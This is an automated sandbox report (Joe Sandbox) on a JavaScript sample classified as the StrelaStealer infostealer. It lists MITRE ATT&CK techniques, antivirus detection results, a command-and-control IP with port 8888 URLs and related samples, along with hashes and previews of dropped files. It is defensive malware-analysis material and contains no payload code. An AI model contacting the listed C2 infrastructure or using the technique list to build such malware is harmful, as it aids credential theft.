Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
193581927228935729.js	5%	Virustotal		Browse
193581927228935729.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/I	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/%G	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Q	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/I	net.exe, 00000007.00000002.2137267431.0000017028044000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/i	net.exe, 00000007.00000002.2137267431.0000017028044000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/%G	net.exe, 00000007.00000002.2137267431.0000017028008000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3350559370.000001E7BE000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2143532205.000001E7BDF00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2137267431.0000017028044000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Q	net.exe, 00000007.00000002.2137267431.0000017028044000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588534
Start date and time:	2025-01-11 02:09:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	193581927228935729.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.22.41.97, 3.233.129.217, 3.219.243.226, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 172.202.163.200, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:10:17	API Interceptor	22x Sleep call for process: powershell.exe modified
20:10:21	API Interceptor	1x Sleep call for process: net.exe modified
20:10:21	API Interceptor	2x Sleep call for process: svchost.exe modified
20:10:34	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1627923942308705884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1183413479481820270.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19500684172643252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	253742123626823892.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2254619394221055585.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1327128311804210730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6515707756641447.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16433207582849010802.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326391126385512788.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2937924646314313784.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307024066070957
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugp:gJjJGtpTq2yv1AuNZRY3diu8iBVqFX
MD5:	A7D659E8C26F5C26D90770F2B7029031
SHA1:	318102EE13917005E741A9476E36332F0064163D
SHA-256:	9DB540B8E67E0051A7B9B7312BBA7F3C72F4AC78ADFD0F68F2BCC5E1C404E685
SHA-512:	4A24A2303BCA6147488771DF3865E99C288E63DA2085D2B5BCCE24EA349D25B86E47091EDB7ADE16A55277B8DC3114441DFE4FDE6A82AC3D0D850698D1E2328E
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x600e7c04, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585483517870433
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	20A368F70E44DDEFB112E2780FF9F692
SHA1:	FB3DAD86F7E138C7B76C981C90C5A01533F90A06
SHA-256:	0D077A75160EFCFC091B8D8CAB3458C682DDD3F9B61BB8D500638BB374841206
SHA-512:	347229AA66AC4CEEFAC15EA3B20B565F938924C403A2311EB3526D0938233DA501CF8DEF7F4A49E94A5167A8EB7F7EE99C5CF5D287C2B969FCCAD244B8997189
Malicious:	false
Preview:	`.\|.... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..........................................}1.................3.B......}1..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08072023533935217
Encrypted:	false
SSDEEP:	3:0W/EYeF/k5PhvekGuAJkhvekl1V8r5tillrekGltll/SPj:0W/EzFKRtrxln8r5tGJe3l
MD5:	8BFD1CB0C8A221252F44DBB4BE3552ED
SHA1:	C0FF11A97C23ABA34429DDFC2E76389DF217E032
SHA-256:	B96729CD6A8F5B56091A88738061A4E46F3CC5F418C55516C70DA310C79BCD71
SHA-512:	AA9BB07BC0D4C2C0EB043FC748855F7C0213FB7CE387AE8F50A48AC94740C0D7515730D82E313E1EBFF17057B5DE618C4EC1EAD2F8AB0D8DA148E5A6F0244AFA
Malicious:	false
Preview:	..h......................................;...{.......}1......{...............{.......{...XL......{..................3.B......}1.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.154258713441952
Encrypted:	false
SSDEEP:	6:iO4qVweM+q2P92nKuAl9OmbnIFUtSqVw/RqZmwsqVw/R1MVkwO92nKuAl9OmbjLJ:7nFM+v4HAahFUtZ8q/L81MV5LHAaSJ
MD5:	738EA71A28022BBAF8C18C7C4D04C9CB
SHA1:	3DD42085899C9962877747A9B9773E9C3956FE41
SHA-256:	3614545CD241CB0C9C66B8D771A19C6B58FF89FA74B67B44CEE68BAF04499A43
SHA-512:	F03BF0E27732E1EACEE8E379C20443D4B6D9EBC21C2A8212DBCF1320F570371E1C8939F900CCAF3D05A5C198B69A8F6EAB5E9434865D44BA82F93E27C7EE5F20
Malicious:	false
Preview:	2025/01/10-20:10:21.394 4fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:10:21.397 4fc Recovering log #3.2025/01/10-20:10:21.397 4fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.154258713441952
Encrypted:	false
SSDEEP:	6:iO4qVweM+q2P92nKuAl9OmbnIFUtSqVw/RqZmwsqVw/R1MVkwO92nKuAl9OmbjLJ:7nFM+v4HAahFUtZ8q/L81MV5LHAaSJ
MD5:	738EA71A28022BBAF8C18C7C4D04C9CB
SHA1:	3DD42085899C9962877747A9B9773E9C3956FE41
SHA-256:	3614545CD241CB0C9C66B8D771A19C6B58FF89FA74B67B44CEE68BAF04499A43
SHA-512:	F03BF0E27732E1EACEE8E379C20443D4B6D9EBC21C2A8212DBCF1320F570371E1C8939F900CCAF3D05A5C198B69A8F6EAB5E9434865D44BA82F93E27C7EE5F20
Malicious:	false
Preview:	2025/01/10-20:10:21.394 4fc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:10:21.397 4fc Recovering log #3.2025/01/10-20:10:21.397 4fc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.090278066732836
Encrypted:	false
SSDEEP:	6:iO4qVwUq2P92nKuAl9Ombzo2jMGIFUtSqVwkZmwsqVwEkwO92nKuAl9Ombzo2jM4:7nxv4HAa8uFUtZd/Lv5LHAa8RJ
MD5:	850B0D59EA87E9B9F0CBD4058A56A47C
SHA1:	DED54E205D0E5D04F592E80256F954F279D2FD9F
SHA-256:	3239B978B5D0C03599AB4B69A8F7F9EAFA13FEB5307512D6296661DB9EAFB2EA
SHA-512:	2EF3279C23810C59E7D4FF4CB79051484592C1C9DAB3A387CDC4D4D91ABB309EC3A088B4120756359414665433DB25E71E576A99054CE8199A6D325371F62B79
Malicious:	false
Preview:	2025/01/10-20:10:21.408 c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:10:21.409 c80 Recovering log #3.2025/01/10-20:10:21.409 c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.090278066732836
Encrypted:	false
SSDEEP:	6:iO4qVwUq2P92nKuAl9Ombzo2jMGIFUtSqVwkZmwsqVwEkwO92nKuAl9Ombzo2jM4:7nxv4HAa8uFUtZd/Lv5LHAa8RJ
MD5:	850B0D59EA87E9B9F0CBD4058A56A47C
SHA1:	DED54E205D0E5D04F592E80256F954F279D2FD9F
SHA-256:	3239B978B5D0C03599AB4B69A8F7F9EAFA13FEB5307512D6296661DB9EAFB2EA
SHA-512:	2EF3279C23810C59E7D4FF4CB79051484592C1C9DAB3A387CDC4D4D91ABB309EC3A088B4120756359414665433DB25E71E576A99054CE8199A6D325371F62B79
Malicious:	false
Preview:	2025/01/10-20:10:21.408 c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:10:21.409 c80 Recovering log #3.2025/01/10-20:10:21.409 c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.044866385259884
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBUsBdOg2H6gcaq3QYiubxnP7E4T3OF+:Y2sRdsMZdMH6L3QYhbxP7nbI+
MD5:	54EF34F62B06EC7C9315A6263005DB76
SHA1:	21C5560685CB4B5FDE1407F00508BFE6436AE45A
SHA-256:	0E32773EB7F648FA560AA64915AE8639B96747B4C499AB3C584711F10962244C
SHA-512:	A1BB5692271F40088098E9B907B21E275E36172D9CB1CB8D0B576FC192FC76ACEB78427AC7BB1D3E848833AF84974ACD17A874684C13D16B205CB0A922F286EB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117834046910","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131112},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e21ce814-a7ab-4de5-8937-f693b4c69906.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.044866385259884
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqBUsBdOg2H6gcaq3QYiubxnP7E4T3OF+:Y2sRdsMZdMH6L3QYhbxP7nbI+
MD5:	54EF34F62B06EC7C9315A6263005DB76
SHA1:	21C5560685CB4B5FDE1407F00508BFE6436AE45A
SHA-256:	0E32773EB7F648FA560AA64915AE8639B96747B4C499AB3C584711F10962244C
SHA-512:	A1BB5692271F40088098E9B907B21E275E36172D9CB1CB8D0B576FC192FC76ACEB78427AC7BB1D3E848833AF84974ACD17A874684C13D16B205CB0A922F286EB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117834046910","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131112},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.240095249614427
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUqfZrr:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLR
MD5:	BFDCA0E602E56101E5DA2045708A99BB
SHA1:	7E52883AE41EA6304938B9B15B2307C848B85294
SHA-256:	986A4E703BAEDAC16F0D8036B155954F6BD6E5C08235117238C6E797DEC19690
SHA-512:	45C3B33DCA21D4BCE414E0924C6862C81FAD6567AA978B4223E28762A6C236B4C79C9D589D7390B6B5761C8A5D5869559C093BC73BB3E8BA5BD638F70E86AC10
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.081375625411482
Encrypted:	false
SSDEEP:	6:iO4qVwPq2P92nKuAl9OmbzNMxIFUtSqVwgGdhZmwsqVwSSkwO92nKuAl9OmbzNMT:7nSv4HAa8jFUtZeh/LtS5LHAa84J
MD5:	5938283303929956CD5EDF8890069819
SHA1:	4DC976388A37C7CDD3B4AC3684B56654513380F4
SHA-256:	C7C92AF501F57551D571874CC8DCE5B2EFB38BC1281738344EED847142F56013
SHA-512:	0F47ECB73FDB8477EF7E471772471F6F8EA192CC38398A328A85D8241CF97683D0F65B05A99BA5B19E08B47EB5341D867A12D4403FCCD2B8DD94B00D9483D48F
Malicious:	false
Preview:	2025/01/10-20:10:21.582 c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:10:21.583 c80 Recovering log #3.2025/01/10-20:10:21.585 c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.081375625411482
Encrypted:	false
SSDEEP:	6:iO4qVwPq2P92nKuAl9OmbzNMxIFUtSqVwgGdhZmwsqVwSSkwO92nKuAl9OmbzNMT:7nSv4HAa8jFUtZeh/LtS5LHAa84J
MD5:	5938283303929956CD5EDF8890069819
SHA1:	4DC976388A37C7CDD3B4AC3684B56654513380F4
SHA-256:	C7C92AF501F57551D571874CC8DCE5B2EFB38BC1281738344EED847142F56013
SHA-512:	0F47ECB73FDB8477EF7E471772471F6F8EA192CC38398A328A85D8241CF97683D0F65B05A99BA5B19E08B47EB5341D867A12D4403FCCD2B8DD94B00D9483D48F
Malicious:	false
Preview:	2025/01/10-20:10:21.582 c80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:10:21.583 c80 Recovering log #3.2025/01/10-20:10:21.585 c80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklvuD+kltfllXlE/HT8k/LltNNX8RolJuRdxLlGB9lQRYwpDdt:kKNDeT82JNMa8RdWBwRd
MD5:	E7A8383510F1169CC834FAA9521F02D8
SHA1:	67541173B2298BA1A7EB7B4441B0A07473A126F1
SHA-256:	EFF458DE006998E3C1F96CF544A987D53EF6100968C003487EDAD5EB464A2357
SHA-512:	9F623C6E28BA41A43937BA161AC53C9B364E9FC3EAA14577F2734C6F0B0DBBD2672A2C86230968C7FCC3968B976EAE9B12F3A0DAEF460AAB81FD0988FD4CC34D
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
